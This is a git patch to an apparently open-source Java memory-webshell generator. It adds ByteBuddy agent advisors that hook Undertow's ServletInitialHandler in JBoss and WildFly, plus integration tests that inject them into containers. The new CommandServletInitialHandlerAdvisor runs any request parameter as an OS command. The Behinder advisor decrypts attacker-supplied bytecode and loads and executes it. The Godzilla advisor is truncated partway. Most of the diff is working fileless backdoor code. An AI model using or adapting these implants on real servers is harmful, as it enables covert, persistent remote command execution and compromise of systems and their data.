From 09ee91fd34eaf7eae5f9b7886b67ec6fedeb4d31 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 7 Jan 2025 23:26:59 +0800 Subject: [PATCH] feat: support undertow agent shell (#21) 1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21 2. fix godzilla payload error in some module system that cost my five hour to debug --- .../javaweb/memshell/UndertowShell.java | 14 ++- .../reajason/javaweb/godzilla/Payload.java | 10 +- .../jbosseap/docker-compose-7.yaml | 11 +++ .../jbosseap/JbossEap6ContainerTest.java | 13 ++- .../jbosseap/JbossEap7ContainerTest.java | 13 ++- .../wildfly/Wildfly18ContainerTest.java | 13 ++- .../wildfly/Wildfly23ContainerTest.java | 13 ++- .../wildfly/Wildfly30ContainerTest.java | 13 ++- .../wildfly/Wildfly9ContainerTest.java | 16 +++- .../BehinderServletInitialHandlerAdvisor.java | 86 +++++++++++++++++ .../CommandServletInitialHandlerAdvisor.java | 43 +++++++++ .../GodzillaServletInitialHandlerAdvisor.java | 93 +++++++++++++++++++ .../injector/UndertowFilterInjector.java | 5 +- ...towServletInitialHandlerAgentInjector.java | 63 +++++++++++++ 14 files changed, 372 insertions(+), 34 deletions(-) create mode 100644 integration-test/docker-compose/jbosseap/docker-compose-7.yaml create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderServletInitialHandlerAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandServletInitialHandlerAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaServletInitialHandlerAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/injector/UndertowServletInitialHandlerAgentInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java index 61dd2b02..c561a73d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java @@ -7,10 +7,14 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener; +import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.undertow.command.CommandListener; +import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener; +import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector; import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector; +import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector; import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector; import org.apache.commons.lang3.tuple.Pair; @@ -23,6 +27,7 @@ import static com.reajason.javaweb.memshell.config.Constants.*; * @since 2024/12/10 */ public class UndertowShell extends AbstractShell { + public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; @Override protected Map, Class>> getCommandShellMap() { @@ -32,7 +37,8 @@ public class UndertowShell extends AbstractShell { FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class), JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class), LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class), - JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class) + JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class), + AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class) ); } @@ -44,7 +50,8 @@ public class UndertowShell extends AbstractShell { FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class), JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class), LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class), - JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class) + JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class), + AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class) ); } @@ -56,7 +63,8 @@ public class UndertowShell extends AbstractShell { FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class), JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class), LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class), - JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class) + JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class), + AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class) ); } } diff --git a/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java b/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java index fcd05f7d..0f354140 100644 --- a/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java +++ b/godzilla/src/main/java/com/reajason/javaweb/godzilla/Payload.java @@ -195,10 +195,14 @@ public class Payload extends ClassLoader { return f2.get(obj); } - private static Class getClass(String name) { + private static Class getClass(ClassLoader classLoader, String name) { try { return Class.forName(name); } catch (Exception e) { + try { + return Class.forName(name, false, classLoader); + } catch (Exception ignored) { + } return null; } } @@ -493,11 +497,11 @@ public class Payload extends ClassLoader { } boolean ret = false; try { - Class c2 = getClass(String.format(classNameString, "javax")); + Class c2 = getClass(obj.getClass().getClassLoader(), String.format(classNameString, "javax")); if (c2 != null) { ret = c2.isAssignableFrom(obj.getClass()); } - if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) { + if (!ret && (c = getClass(obj.getClass().getClassLoader(), String.format(classNameString, "jakarta"))) != null) { ret = c.isAssignableFrom(obj.getClass()); } } catch (Exception e) { diff --git a/integration-test/docker-compose/jbosseap/docker-compose-7.yaml b/integration-test/docker-compose/jbosseap/docker-compose-7.yaml new file mode 100644 index 00000000..381062b5 --- /dev/null +++ b/integration-test/docker-compose/jbosseap/docker-compose-7.yaml @@ -0,0 +1,11 @@ +services: + jbosseap7: + image: reajason/jboss:eap-7-jdk8 + container_name: jbosseap7 + ports: + - 8080:8080 + - 5005:5005 + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n -Xms1303m -Xmx1303m -XX:MetaspaceSize=96M -XX:MaxMetaspaceSize=256m -Djava.net.preferIPv4Stack=true -Djboss.modules.system.pkgs=org.jboss.byteman -Djava.awt.headless=true + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jboss/standalone/deployments/app.war diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index effca6e5..20a32e37 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.jbosseap; +import com.reajason.javaweb.memshell.JbossShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class JbossEap6ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jbossPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -49,7 +51,10 @@ public class JbossEap6ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, JbossShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, JbossShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, JbossShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -62,6 +67,6 @@ public class JbossEap6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index ab1b6648..31e2a82c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.jbosseap; +import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class JbossEap7ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jbossPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -58,7 +60,10 @@ public class JbossEap7ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -71,6 +76,6 @@ public class JbossEap7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 336cc30d..e7f32064 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.wildfly; +import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Wildfly18ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jbossPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -49,7 +51,10 @@ public class Wildfly18ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -62,6 +67,6 @@ public class Wildfly18ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index e1267cbe..a69b7cb5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.wildfly; +import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Wildfly23ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jbossPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -49,7 +51,10 @@ public class Wildfly23ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -62,6 +67,6 @@ public class Wildfly23ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java index c72ad0dd..662f6ce9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.wildfly; +import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Wildfly30ContainerTest { @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jbossPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -49,7 +51,10 @@ public class Wildfly30ContainerTest { arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) ); } @@ -62,6 +67,6 @@ public class Wildfly30ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer); + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index bc1a62ef..2666739f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.wildfly; +import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -34,11 +34,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Slf4j @Testcontainers public class Wildfly9ContainerTest { - public static final String imageName = "jboss/wildfly:9.0.1.Final"; + public static final String imageName = "jboss/wildfly:10.0.0.Final"; @Container public static final GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(jbossPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -61,19 +63,23 @@ public class Wildfly9ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderServletInitialHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderServletInitialHandlerAdvisor.java new file mode 100644 index 00000000..9b3d14c0 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderServletInitialHandlerAdvisor.java @@ -0,0 +1,86 @@ +package com.reajason.javaweb.memshell.undertow.behinder; + +import net.bytebuddy.asm.Advice; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.BufferedReader; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + */ +public class BehinderServletInitialHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.AllArguments Object[] args + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object res = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + Map obj = new HashMap(3); + obj.put("request", request); + Object response = res; + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField("response"); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field != null) { + field.setAccessible(true); + response = field.get(response); + } + obj.put("response", response); + Object session = request.getClass().getMethod("getSession").invoke(request); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); + obj.put("session", session); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); + byte[] data = null; + Class base64; + BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); + String parameter = reader.readLine(); + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + byte[] bytes = c.doFinal(data); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); + Object instance = payload.newInstance(); + instance.equals(obj); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandServletInitialHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandServletInitialHandlerAdvisor.java new file mode 100644 index 00000000..a470514a --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandServletInitialHandlerAdvisor.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.memshell.undertow.command; + +import net.bytebuddy.asm.Advice; + +import java.io.InputStream; +import java.io.OutputStream; + +/** + * @author ReaJason + */ +public class CommandServletInitialHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.AllArguments Object[] args + ) { + String paramName = "paramName"; + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; + } + } catch (Exception ignored) { + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaServletInitialHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaServletInitialHandlerAdvisor.java new file mode 100644 index 00000000..7d50d71b --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaServletInitialHandlerAdvisor.java @@ -0,0 +1,93 @@ +package com.reajason.javaweb.memshell.undertow.godzilla; + +import net.bytebuddy.asm.Advice; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.io.PrintWriter; +import java.lang.reflect.Method; + +/** + * @author ReaJason + */ +public class GodzillaServletInitialHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.AllArguments Object[] args + ) { + String key = "key"; + String pass = "pass"; + String md5 = "md5"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = 